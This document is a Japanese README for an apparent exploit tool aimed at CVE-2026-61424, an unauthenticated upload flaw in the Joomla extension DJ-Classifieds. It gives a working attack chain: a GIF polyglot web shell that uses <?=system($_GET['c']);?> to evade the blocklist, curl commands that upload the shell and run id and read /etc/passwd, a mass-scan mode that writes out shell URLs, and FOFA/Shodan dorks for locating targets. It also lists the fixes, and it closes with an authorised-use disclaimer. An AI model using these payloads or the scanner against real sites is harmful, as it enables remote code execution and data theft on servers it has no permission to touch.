CVE-2026-61424 — DJ-Classifieds <= 3.11.1
imageupload タスク → 認証なし → 3文字列フィルタ回避 (
概要
Joomla 用 DJ-Classifieds における、認証なしでの任意ファイルアップロード脆弱性。imageupload タスクのエンドポイントは 認証なし でファイルアップロードを処理し、PHP のショートオープンタグ (<?=) を使うだけで簡単に回避できる 3つの文字列のブロックリスト (<?php、eval(、base64) に依存しています。GIF ポリグロットと組み合わせることで、アップロードされたファイルは完全に機能する PHP ウェブシェルを含みながら、すべての画像検証チェックを通過します。
影響を受けるバージョン
| ステータス | バージョン |
|---|
| 影響あり | 1.0 — 3.11.1 |
| 修正済み | 3.11.2 (2026年7月20日) |
脆弱性の仕組み
根本原因
administrator/components/com_djclassifieds/lib/djupload.php 内の upload() メソッドは、認証チェックなし かつ CSRF トークン検証なし で imageupload タスクにマッピングされています。
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method
// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check
$name = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');
// ... writes file to tmp/djupload/<name>
セキュリティフィルタが失敗する理由 (3文字列バイパス)
コンテンツスキャナは 3つのリテラル文字列 のみをブロックリストに登録しています:
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
die('Malicious file detected');
}
これは <?php、eval(、base64 をブロックしますが、PHP のショートオープンタグは ブロックしません:
<?=system($_GET['c']);?> ← 0/3 blocked strings → PASSES
PHP のショートエコータグ (<?=) は PHP 5.4 以降デフォルトで有効です。
攻撃の流れ
- ポリグロット を作成: 有効な
GIF89a ヘッダー + <?=system($_GET['c']);?>
name=shell.gif を指定して index.php?option=com_djclassifieds&task=imageupload に POST する
- サーバーがチェック:
.gif 拡張子 ✓ getimagesize() ✓ <?php/eval(/base64 なし ✓
- ファイルが
tmp/djupload/<shell>.gif に保存される
- アクセス:
https://target.com/tmp/djupload/shell.gif?c=id
検証済みソースファイル
サーバーログの証拠
公開前に実環境で観測された匿名スキャナのプローブ:
POST /index.php?option=com_djclassifieds&task=imageupload
name=<random>.gif filename=<random>.gif
— no cookie, no session, no referer
インストール
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt
使用方法
単一ターゲット
python cve_2026_61424.py -t target.com
大量スキャン
python cve_2026_61424.py -f targets.txt -o shells.txt
引数
概念実証 (PoC)
単一ターゲット
$ python cve_2026_61424.py -t target.com
Host : target.com
DJ-Classifieds: YES v3.11.1
Upload : YES
RCE : YES
Shell : https://target.com/tmp/djupload/img_abc123.gif
Output : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
Time : 2.1s
手動による悪用
# Step 1 — Upload polyglot shell
curl -sk -X POST \
"https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
-H "Content-Type: image/gif" \
--data-binary @polyglot.gif
# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"
# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"
FOFA / Shodan
# DJ-Classifieds component
body="com_djclassifieds"
# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"
# Exposed djupload directory
body="Index of" && body="djupload"
# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"
修正内容 (3.11.2)
- Joomla 認証を追加 —
upload() の前に JFactory::getUser() によるゲストチェック
- CSRF トークン検証を追加 —
imageupload タスクでの JSession::checkToken()
- ファイルタイプを制限 — サーバー側で画像のみの許可リスト (
jpg、jpeg、png、gif)
- コンテンツスキャンを改善 — 3文字列のブロックリストを超えた追加の PHP パターン検出
影響
- 完全な RCE — Web サーバーユーザーとして任意のコマンドを実行
- 永続的なアクセス — 手動で削除されるかディレクトリが掃除されるまでシェルが残存
- コンテンツの悪用 — 信頼されたドメイン上に任意のファイルをアップロード・ホスト
- ディスク枯渇 — 匿名での大量アップロードが可能
- 連鎖攻撃 — ポリグロット画像がサイト内の別の LFI を経由してインクルードされる可能性
免責事項
このツールは教育目的および許可を得たセキュリティテスト専用です。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。作者は不正使用や損害について一切の責任を負いません。
参考情報
DJ-Extensions または mySites.guru とは提携関係にありません。